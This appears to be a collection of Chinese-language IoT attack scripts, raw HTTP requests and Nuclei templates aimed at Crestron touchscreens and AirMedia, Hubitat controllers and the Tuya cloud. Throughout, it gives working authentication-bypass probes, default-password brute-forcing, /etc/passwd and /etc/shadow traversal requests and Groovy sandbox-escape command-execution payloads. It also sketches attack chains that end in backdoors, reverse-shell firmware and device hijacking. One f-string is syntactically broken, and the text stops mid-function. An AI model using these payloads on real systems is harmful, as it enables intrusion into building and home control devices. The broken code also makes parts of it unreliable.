攻击者 → HTTP GET /tsp/api/info → 获取设备信息（无需认证）
攻击者 → HTTP POST /tsp/api/config → 修改设备配置（无需认证）
攻击者 → HTTP PUT /tsp/api/firmware → 触发固件更新（无需认证）

GET /tsp/api/info HTTP/1.1
Host: target_crestron_ip:443
Accept: application/json

GET /tsp/api/config HTTP/1.1
Host: target_crestron_ip:443
Accept: application/json

GET /tsp/pu/proxy.ashx HTTP/1.1
Host: target_crestron_ip:443

#!/usr/bin/env python3
"""
Crestron TSW 触摸屏认证绕过检测 (CVE-2022-23178)
仅用于授权安全评估
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


BYPASS_ENDPOINTS = [
    "/tsp/api/info",
    "/tsp/api/config",
    "/tsp/api/devices",
    "/tsp/api/modules",
    "/tsp/pu/proxy.ashx",
    "/tsp/account/login",
    "/tsp/system/info",
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def check_cve_2022_23178(target: str, port: int = 443) -> dict:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "vulnerable": False,
        "vulnerable_endpoints": [],
        "leaked_info": {},
    }

    for endpoint in BYPASS_ENDPOINTS:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Accept", "application/json")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200 and len(body) > 10:
                result["vulnerable_endpoints"].append(endpoint)
                result["vulnerable"] = True
                print(f"[+] 认证绕过成功: {endpoint}")

                try:
                    data = json.loads(body)
                    if "model" in str(data).lower() or "firmware" in str(data).lower():
                        result["leaked_info"][endpoint] = data
                        print(f"    泄露设备信息: {json.dumps(data, indent=2)[:200]}")
                except json.JSONDecodeError:
                    if "crestron" in body.lower() or "tsp" in body.lower():
                        result["leaked_info"][endpoint] = body[:500]
                        print(f"    泄露 HTML 内容（含设备信息）")

        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证（可能已修复）")
            elif e.code == 404:
                print(f"[-] {endpoint} 不存在")
        except Exception as e:
            print(f"[-] {endpoint} 连接失败: {e}")

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 443")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
    print(f"[*] 检测目标: {target}:{port}")
    result = check_cve_2022_23178(target, port)

    print(f"\n{'='*50}")
    print(f"  CVE-2022-23178 检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  存在漏洞: {'是' if result['vulnerable'] else '否'}")
    print(f"  可绕过端点数: {len(result['vulnerable_endpoints'])}")
    print(f"  泄露信息端点数: {len(result['leaked_info'])}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: CVE-2022-23178

info:
  name: Crestron TSW Touchscreen Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Crestron TSW-1070/TSW-770/TSW-570 触摸屏存在认证绕过漏洞，
    攻击者无需任何凭据即可通过 HTTP 请求直接访问设备管理界面，
    获取设备配置信息、修改系统设置甚至触发固件更新。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23178
    cwe-id: CWE-287
  tags: cve,cve2022,crestron,touchscreen,auth-bypass,iot,scada
  reference:
    - https://www.crestron.com/en-US/Company/Security
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23178

http:
  - raw:
      - |
        GET /tsp/api/info HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        GET /tsp/api/config HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "model"
          - "firmware"
          - "serialNumber"
          - "hostname"
        condition: or
        part: body
      - type: word
        words:
          - "unauthorized"
          - "login"
          - "401"
        negative: true
        part: body

    extractors:
      - type: json
        name: device_info
        json:
          - ".model"
          - ".firmwareVersion"
          - ".serialNumber"

默认凭据登录 Web UI → 获取网络配置和设备拓扑
     ↓
SSH 登录 → 获取操作系统 Shell → 读取 /etc/shadow
     ↓
修改系统配置 → 植入持久化后门
     ↓
横向移动 → 控制整个楼宇控制系统

GET /usermng HTTP/1.1
Host: target_crestron_ip:80
Authorization: Basic YWRtaW46cGFzc3dvcmQ=

POST /tsp/account/login HTTP/1.1
Host: target_crestron_ip:443
Content-Type: application/x-www-form-urlencoded

username=admin&password=password

#!/usr/bin/env python3
"""
Crestron 默认凭据检测脚本
仅用于授权安全评估
"""

import sys
import base64
import urllib.request
import urllib.error
import ssl


DEFAULT_CREDENTIALS = [
    ("admin", "password"),
    ("admin", ""),
    ("admin", "admin"),
    ("admin", "1234"),
    ("admin", "crestron"),
    ("admin", "12345"),
    ("administrator", "password"),
    ("administrator", "admin"),
    ("root", "root"),
    ("root", "crestron"),
]

AUTH_ENDPOINTS = [
    "/usermng",
    "/tsp/account/login",
    "/Config/Set",
    "/api/v1/auth/login",
]

CHECK_ENDPOINTS = [
    "/tsp/api/info",
    "/tsp/api/config",
    "/Config",
    "/status",
    "/",
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def try_basic_auth(target: str, port: int, username: str, password: str) -> bool:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"
    credentials = base64.b64encode(f"{username}:{password}".encode()).decode()

    for endpoint in CHECK_ENDPOINTS:
        url = f"{scheme}://{target}:{port}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Authorization", f"Basic {credentials}")
            resp = urllib.request.urlopen(req, timeout=8, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200 and len(body) > 10:
                if "unauthorized" not in body.lower() and "login" not in body.lower()[:200]:
                    return True
        except urllib.error.HTTPError as e:
            if e.code == 200:
                return True
        except Exception:
            continue

    return False


def try_post_login(target: str, port: int, username: str, password: str) -> bool:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"

    login_endpoints = [
        ("/tsp/account/login", f"username={username}&password={password}"),
        ("/api/v1/auth/login", f'{{"username":"{username}","password":"{password}"}}'),
    ]

    for endpoint, body_data in login_endpoints:
        url = f"{scheme}://{target}:{port}{endpoint}"
        try:
            data = body_data.encode()
            req = urllib.request.Request(url, data=data, method="POST")
            if body_data.startswith("{"):
                req.add_header("Content-Type", "application/json")
            else:
                req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=8, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")
            if resp.status in (200, 201):
                if "token" in body.lower() or "success" in body.lower():
                    return True
        except Exception:
            continue

    return False


def check_crestron_default_creds(target: str, port: int = 80) -> dict:
    result = {
        "target": target,
        "vulnerable": False,
        "valid_credentials": [],
    }

    for username, password in DEFAULT_CREDENTIALS:
        cred_display = f"{username}:{password}" if password else f"{username}:(空)"
        print(f"[*] 尝试凭据: {cred_display}")

        if try_basic_auth(target, port, username, password):
            print(f"[+] Basic Auth 有效: {cred_display}")
            result["vulnerable"] = True
            result["valid_credentials"].append((username, password, "Basic Auth"))
            continue

        if try_post_login(target, port, username, password):
            print(f"[+] POST 登录有效: {cred_display}")
            result["vulnerable"] = True
            result["valid_credentials"].append((username, password, "POST Login"))

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测 Crestron 默认凭据: {target}:{port}")
    result = check_crestron_default_creds(target, port)

    print(f"\n{'='*50}")
    print(f"  Crestron 默认凭据检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  存在默认凭据: {'是' if result['vulnerable'] else '否'}")
    print(f"  有效凭据数: {len(result['valid_credentials']})}")
    for user, pwd, method in result["valid_credentials"]:
        print(f"    - {user}:{pwd or '(空)'} ({method})")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: crestron-default-credentials

info:
  name: Crestron Default Credentials Check
  author: security-research
  severity: critical
  description: |
    Crestron 多个产品线使用默认硬编码凭据，攻击者可通过
    常见默认用户名密码组合登录设备管理界面和 SSH 服务。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
  tags: crestron,default-login,iot,scada

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzc3dvcmQ=

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "crestron"
          - "tsp"
          - "system"
          - "config"
        condition: or
        part: body
      - type: word
        words:
          - "unauthorized"
          - "401"
          - "access denied"
        negative: true
        part: body

  - raw:
      - |
        POST /tsp/account/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=password

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 302
      - type: word
        words:
          - "token"
          - "session"
          - "success"
          - "redirect"
        condition: or
        part: body

1. 扫描网络中暴露的 AirMedia 设备（端口 80/443）
2. 访问 Web 管理界面（无需认证）
3. 导航到固件更新页面
4. 上传包含反向 Shell 的恶意固件包
5. 设备重启后执行恶意代码
6. 攻击者获得设备操作系统完全控制权

GET /airmedia/configuration HTTP/1.1
Host: target_airmedia_ip:80
Accept: application/json

GET /../../etc/passwd HTTP/1.1
Host: target_airmedia_ip:80

#!/usr/bin/env python3
"""
Crestron AirMedia 未授权访问检测 (CVE-2019-18135)
仅用于授权安全评估
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


AIRMEDIA_ENDPOINTS = [
    "/airmedia/configuration",
    "/airmedia/about",
    "/airmedia/status",
    "/airmedia/logs",
    "/webconfig/",
    "/device/info",
    "/firmware",
    "/../../etc/passwd",
    "/../../etc/shadow",
    "/cgi-bin/status",
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def check_cve_2019_18135(target: str, port: int = 80) -> dict:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "vulnerable": False,
        "unauth_endpoints": [],
        "path_traversal": False,
        "leaked_data": {},
    }

    for endpoint in AIRMEDIA_ENDPOINTS:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200 and len(body) > 5:
                if "root:" in body or "x:0:0" in body:
                    result["path_traversal"] = True
                    print(f"[+] 路径遍历: {endpoint}")
                else:
                    result["unauth_endpoints"].append(endpoint)
                    print(f"[+] 未授权访问: {endpoint}")

                result["vulnerable"] = True

                if endpoint in ("/airmedia/configuration", "/device/info"):
                    try:
                        result["leaked_data"][endpoint] = json.loads(body)
                    except json.JSONDecodeError:
                        result["leaked_data"][endpoint] = body[:500]

        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证")
        except Exception as e:
            print(f"[-] {endpoint} 连接失败: {e}")

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测 CVE-2019-18135: {target}:{port}")
    result = check_cve_2019_18135(target, port)

    print(f"\n{'='*50}")
    print(f"  Crestron AirMedia 安全检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  存在漏洞: {'是' if result['vulnerable'] else '否'}")
    print(f"  未授权端点: {len(result['unauth_endpoints'])}")
    print(f"  路径遍历: {'是' if result['path_traversal'] else '否'}")
    print(f"  泄露数据端点: {len(result['leaked_data'])}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: CVE-2019-18135

info:
  name: Crestron AirMedia Unauthorized Access
  author: security-research
  severity: high
  description: |
    Crestron AirMedia AM-200/AM-210 存在未授权访问漏洞，
    攻击者无需认证即可访问设备管理界面、获取配置信息，
    并可利用固件更新机制实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-18135
    cwe-id: CWE-306
  tags: cve,cve2019,crestron,airmedia,unauth,iot

http:
  - raw:
      - |
        GET /airmedia/configuration HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "wireless"
          - "airmedia"
          - "model"
          - "serialNumber"
          - "ipAddress"
        condition: or
        part: body

    extractors:
      - type: regex
        name: device_model
        regex:
          - "(?i)model[\":]\\s*[\"](.*?)[\"]"
          - "(?i)serialNumber[\":]\\s*[\"](.*?)[\"]"

攻击者 → 构造绕过请求 → 访问 /hub/api/devices → 获取所有设备列表
攻击者 → /hub/api/devices/{id}/commands/{command} → 执行设备命令
攻击者 → /hub/api/apps → 获取已安装应用列表
攻击者 → /hub/api/apps/{id}/config → 读取应用配置（含第三方 API Key）

GET /hub/api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json

GET /api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json

GET /hub/api/apps HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json

#!/usr/bin/env python3
"""
Hubitat Elevation 认证绕过检测 (CVE-2022-24870)
仅用于授权安全评估
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


BYPASS_PATHS = [
    "/hub/api/devices",
    "/hub/api/apps",
    "/hub/api/scenes",
    "/api/devices",
    "/api/apps",
    "/device/list",
    "/hubitat/api/devices",
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def check_cve_2022_24870(target: str, port: int = 80) -> dict:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "vulnerable": False,
        "accessible_endpoints": [],
        "devices_found": 0,
        "apps_found": 0,
    }

    for path in BYPASS_PATHS:
        url = f"{base_url}{path}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Accept", "application/json")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200:
                result["accessible_endpoints"].append(path)
                result["vulnerable"] = True

                try:
                    data = json.loads(body)
                    if isinstance(data, list) and len(data) > 0:
                        if "devices" in path.lower() or "device" in path.lower():
                            result["devices_found"] = len(data)
                            print(f"[+] 发现 {len(data)} 个设备: {path}")
                            for dev in data[:3]:
                                name = dev.get("name", "unknown")
                                dtype = dev.get("type", "unknown")
                                print(f"    - {name} ({dtype})")
                        elif "app" in path.lower():
                            result["apps_found"] = len(data)
                            print(f"[+] 发现 {len(data)} 个应用: {path}")
                except json.JSONDecodeError:
                    print(f"[+] 路径可访问（非 JSON 响应）: {path}")

        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {path} 需要认证")
            elif e.code == 403:
                print(f"[-] {path} 禁止访问")
        except Exception as e:
            print(f"[-] {path} 连接失败: {e}")

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.200 80")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测 CVE-2022-24870: {target}:{port}")
    result = check_cve_2022_24870(target, port)

    print(f"\n{'='*50}")
    print(f"  Hubitat 认证绕过检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  存在漏洞: {'是' if result['vulnerable'] else '否'}")
    print(f"  可访问端点: {len(result['accessible_endpoints'])}")
    print(f"  发现设备数: {result['devices_found']}")
    print(f"  发现应用数: {result['apps_found']}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: CVE-2022-24870

info:
  name: Hubitat Elevation Authentication Bypass
  author: security-research
  severity: high
  description: |
    Hubitat Elevation 家庭自动化控制器存在认证绕过漏洞，
    攻击者无需认证即可通过特定 API 路径访问设备列表、
    应用配置和执行设备命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2022-24870
    cwe-id: CWE-287
  tags: cve,cve2022,hubitat,auth-bypass,iot,smarthome

http:
  - raw:
      - |
        GET /hub/api/devices HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "id"
          - "name"
          - "type"
          - "label"
        condition: or
        part: body
      - type: word
        words:
          - "unauthorized"
          - "401"
          - "forbidden"
        negative: true
        part: body

    extractors:
      - type: json
        name: device_names
        json:
          - "[*].name"
        internal: true

      - type: count
        name: device_count
        count: true

// 标准方式（被沙箱阻止）
// Runtime.getRuntime().exec("id")

// 反射绕过
def rt = "java.lang.Runtime".getClass().forName("java.lang.Runtime")
def exec = rt.getMethod("getRuntime", null)
def process = exec.invoke(null, null).exec("id")

def pb = new ProcessBuilder(["sh", "-c", "id"])
def process = pb.start()
def output = process.inputStream.text

// 利用 Groovy 的元编程特性绕过类加载限制
def cls = Class.forName("java.lang.ProcessBuilder")
def ctor = cls.getDeclaredConstructors().find { it.parameterCount == 1 }
def pb = ctor.newInstance([["sh", "-c", "id"]] as List<String>)
def process = pb.start()

#!/usr/bin/env python3
"""
Hubitat Groovy 沙箱逃逸验证脚本
仅用于授权安全评估 - 需要有效的 Hubitat API Token
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


SANDBOX_ESCAPE_PAYLOADS = [
    {
        "name": "Runtime.exec 反射",
        "code": (
            'def rt = "java.lang.Runtime".getClass().forName("java.lang.Runtime");'
            'def exec = rt.getMethod("getRuntime", null);'
            'def process = exec.invoke(null, null).exec("id");'
            'def output = process.inputStream.text;'
            'log.info "SandboxEscape: ${output}"'
        ),
    },
    {
        "name": "ProcessBuilder 反射",
        "code": (
            'def cls = Class.forName("java.lang.ProcessBuilder");'
            'def ctor = cls.getDeclaredConstructors().find { it.parameterCount == 1 };'
            'def pb = ctor.newInstance([["sh", "-c", "id"]] as List<String>);'
            'def process = pb.start();'
            'def output = process.inputStream.text;'
            'log.info "SandboxEscape: ${output}"'
        ),
    },
    {
        "name": "GroovyShell 嵌套执行",
        "code": (
            'def shell = new GroovyShell();'
            'def result = shell.evaluate("def proc = \'id\'.execute(); proc.text");'
            'log.info "SandboxEscape: ${result}"'
        ),
    },
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def test_sandbox_escape(target: str, port: int, access_token: str) -> dict:
    ctx = create_ssl_context()
    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "vulnerable": False,
        "successful_payloads": [],
    }

    for payload in SANDBOX_ESCAPE_PAYLOADS:
        url = f"{base_url}/hub/api/apps/1"
        code = payload["code"]
        request_body = json.dumps({
            "code": code,
        }).encode()

        try:
            req = urllib.request.Request(url, data=request_body, method="POST")
            req.add_header("Content-Type", "application/json")
            req.add_header("Authorization", f"Bearer {access_token}")
            resp = urllib.request.urlopen(req, timeout=15, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status in (200, 201):
                if "uid=" in body or "SandboxEscape" in body:
                    result["vulnerable"] = True
                    result["successful_payloads"].append(payload["name"])
                    print(f"[+] 沙箱逃逸成功: {payload['name']}")
                    print(f"    响应: {body[:300]}")

        except urllib.error.HTTPError as e:
            body = e.read().decode("utf-8", errors="ignore")
            if "error" in body.lower() and "sandbox" in body.lower():
                print(f"[-] {payload['name']} 被沙箱阻止")
            else:
                print(f"[-] {payload['name']} 请求失败: HTTP {e.code}")
        except Exception as e:
            print(f"[-] {payload['name']} 连接失败: {e}")

    return result


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_ip> <access_token> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.200 abc123def456 80")
        sys.exit(1)

    target = sys.argv[1]
    access_token = sys.argv[2]
    port = int(sys.argv[3]) if len(sys.argv) >= 4 else 80
    print(f"[*] 检测 Hubitat Groovy 沙箱逃逸: {target}:{port}")
    result = test_sandbox_escape(target, port, access_token)

    print(f"\n{'='*50}")
    print(f"  Hubitat Groovy 沙箱逃逸检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  沙箱可逃逸: {'是' if result['vulnerable'] else '否'}")
    print(f"  成功 Payload: {len(result['successful_payloads'])}")
    for p in result["successful_payloads"]:
        print(f"    - {p}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: hubitat-groovy-sandbox-escape

info:
  name: Hubitat Groovy Sandbox Escape
  author: security-research
  severity: critical
  description: |
    Hubitat Elevation 的 Groovy 规则引擎沙箱存在绕过漏洞，
    攻击者可通过反射调用 Runtime.exec 或 ProcessBuilder
    在控制器操作系统上执行任意命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-265
  tags: hubitat,groovy,sandbox-escape,rce,iot

http:
  - raw:
      - |
        GET /hub/api/devices HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "hubitat"
          - "device"
          - "id"
        condition: or
        part: body

    extractors:
      - type: regex
        name: hub_version
        regex:
          - "Hubitat\\s+Elevation.*"

攻击者 → 同网段嗅探 → 截获 Telnet 会话 → 获取认证凭据
攻击者 → 直接连接 Telnet → 使用默认凭据登录 → 设备控制

攻击者 → ARP 欺骗 → 中间人位置 → 截获 HTTP 请求
     → 提取 Authorization: Bearer <token>
     → 使用 Token 控制所有设备

GET /hub/api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json
Authorization: Bearer <嗅探获取的Token>

#!/usr/bin/env python3
"""
Hubitat 默认配置风险检测脚本
仅用于授权安全评估
"""

import sys
import socket
import urllib.request
import urllib.error
import ssl


def check_telnet(target: str, port: int = 23, timeout: int = 5) -> bool:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((target, port))
        if result == 0:
            banner = sock.recv(1024).decode("utf-8", errors="ignore")
            sock.close()
            if banner:
                print(f"[+] Telnet 服务开放: {target}:{port}")
                print(f"    Banner: {banner.strip()[:100]}")
                return True
        sock.close()
    except Exception as e:
        print(f"[-] Telnet 检测失败: {e}")
    return False


def check_http_vs_https(target: str) -> dict:
    result = {
        "http_open": False,
        "https_open": False,
        "http_redirects": False,
        "token_exposed": False,
    }

    for port, scheme in [(80, "http"), (443, "https")]:
        url = f"{scheme}://{target}:{port}/hub/api/devices"
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        try:
            req = urllib.request.Request(url)
            req.add_header("Accept", "application/json")
            resp = urllib.request.urlopen(req, timeout=8, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200:
                if scheme == "http":
                    result["http_open"] = True
                    print(f"[+] HTTP API 可访问（明文传输！）: {url}")
                    if '"id"' in body or '"name"' in body:
                        result["token_exposed"] = True
                        print(f"[!] 设备数据通过明文 HTTP 泄露")
                else:
                    result["https_open"] = True
                    print(f"[+] HTTPS API 可访问: {url}")

        except urllib.error.HTTPError as e:
            if e.code in (301, 302):
                if scheme == "http":
                    result["http_redirects"] = True
                    print(f"[+] HTTP 重定向到 HTTPS（配置正确）")
            elif e.code == 401:
                if scheme == "http":
                    print(f"[-] HTTP 需要认证但传输仍为明文")
        except Exception:
            continue

    return result


def check_zigbee_debug(target: str, port: int = 9762) -> bool:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        result = sock.connect_ex((target, port))
        if result == 0:
            print(f"[+] Zigbee 调试端口开放: {target}:{port}")
            sock.close()
            return True
        sock.close()
    except Exception:
        pass
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip>")
        print(f"示例: {sys.argv[0]} 192.168.1.200")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 检测 Hubitat 默认配置风险: {target}")

    telnet_open = check_telnet(target)
    http_result = check_http_vs_https(target)
    zigbee_debug = check_zigbee_debug(target)

    print(f"\n{'='*50}")
    print(f"  Hubitat 默认配置风险评估:")
    print(f"  目标: {target}")
    print(f"  Telnet 服务: {'⚠ 开放' if telnet_open else '✓ 关闭'}")
    print(f"  HTTP 明文 API: {'⚠ 开放' if http_result['http_open'] else '✓ 关闭'}")
    print(f"  HTTPS API: {'✓ 开放' if http_result['https_open'] else '✗ 关闭'}")
    print(f"  Token 明文暴露: {'⚠ 是' if http_result['token_exposed'] else '否'}")
    print(f"  Zigbee 调试端口: {'⚠ 开放' if zigbee_debug else '✓ 关闭'}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: hubitat-telnet-exposure

info:
  name: Hubitat Telnet Service Exposure
  author: security-research
  severity: medium
  description: |
    Hubitat Elevation 控制器默认开放 Telnet 服务（端口 23），
    攻击者可通过网络嗅探获取明文认证凭据。
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cwe-id: CWE-319
  tags: hubitat,telnet,cleartext,iot,smarthome

network:
  - inputs:
      - data: "{{Hostname}}"
    host:
      - "{{Hostname}}"
    port: 23
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Hubitat"
          - "hubitat"
          - "Elevation"
          - "login"
          - "Login"
        condition: or

    extractors:
      - type: regex
        name: banner
        regex:
          - ".*"

  - inputs:
      - data: "GET /hub/api/devices HTTP/1.1\r\nHost: {{Hostname}}\r\nAccept: application/json\r\n\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    read-size: 4096

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "id"
          - "name"
          - "type"
        condition: or

正常请求：
GET /v1.0/devices/{device_id}
Header: access_token=valid_token
→ 200 OK（设备属于当前用户）

攻击请求：
GET /v1.0/devices/{other_device_id}
Header: access_token=valid_token_for_different_tenant
→ 200 OK（认证检查被绕过，返回其他用户的设备数据）

Step 1: POST /v1.0/devices/{device_id}/token → 获取临时 Token
Step 2: PUT /v1.0/devices/{device_id}/binding → 解绑原账户
Step 3: POST /v1.0/devices/{device_id}/binding → 绑定到攻击者账户

GET /v1.0/devices HTTP/1.1
Host: openapi.tuyaeu.com
Authorization: Bearer <可预测的Token>
Content-Type: application/json

POST /v1.0/devices/{device_id}/token HTTP/1.1
Host: openapi.tuyaeu.com
Authorization: Bearer <attacker_token>
Content-Type: application/json

#!/usr/bin/env python3
"""
Tuya 云平台未授权访问检测 (CVE-2020-16142)
仅用于授权安全评估
"""

import sys
import json
import time
import hashlib
import hmac
import urllib.request
import urllib.error
import ssl


TUYA_API_ENDPOINTS = {
    "eu": "https://openapi.tuyaeu.com",
    "us": "https://openapi.tuyaus.com",
    "cn": "https://openapi.tuyacn.com",
    "in": "https://openapi.tuyain.com",
}

API_PATHS = [
    "/v1.0/devices",
    "/v1.0/users/{user_id}/devices",
    "/v1.0/homes/{home_id}/devices",
    "/v1.0/scenes",
    "/v1.0/devices/{device_id}/status",
]


def create_ssl_context():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def generate_sign(client_secret: str, t: str, method: str, path: str, body: str = "") -> str:
    sign_str = client_secret + t + method + path
    if body:
        sign_str += body
    return hmac.new(
        client_secret.encode(),
        sign_str.encode(),
        hashlib.sha256
    ).hexdigest().upper()


def check_tuya_unauth_access(target: str, region: str = "eu",
                               access_token: str = "") -> dict:
    ctx = create_ssl_context()
    base_url = TUYA_API_ENDPOINTS.get(region, TUYA_API_ENDPOINTS["eu"])

    result = {
        "target": target,
        "region": region,
        "vulnerable": False,
        "accessible_paths": [],
        "devices_found": [],
    }

    for path in API_PATHS:
        url = f"{base_url}{path}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Content-Type", "application/json")
            if access_token:
                req.add_header("Authorization", f"Bearer {access_token}")

            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200:
                try:
                    data = json.loads(body)
                    if data.get("success") or data.get("result"):
                        result["accessible_paths"].append(path)
                        result["vulnerable"] = True
                        print(f"[+] 未授权访问: {path}")

                        if "devices" in path and "result" in data:
                            devices = data["result"]
                            if isinstance(devices, list):
                                result["devices_found"] = devices[:10]
                                print(f"    发现 {len(devices)} 个设备")
                                for dev in devices[:3]:
                                    name = dev.get("name", "unknown")
                                    did = dev.get("id", "unknown")
                                    print(f"    - {name} (ID: {did})")

                except json.JSONDecodeError:
                    pass

        except urllib.error.HTTPError as e:
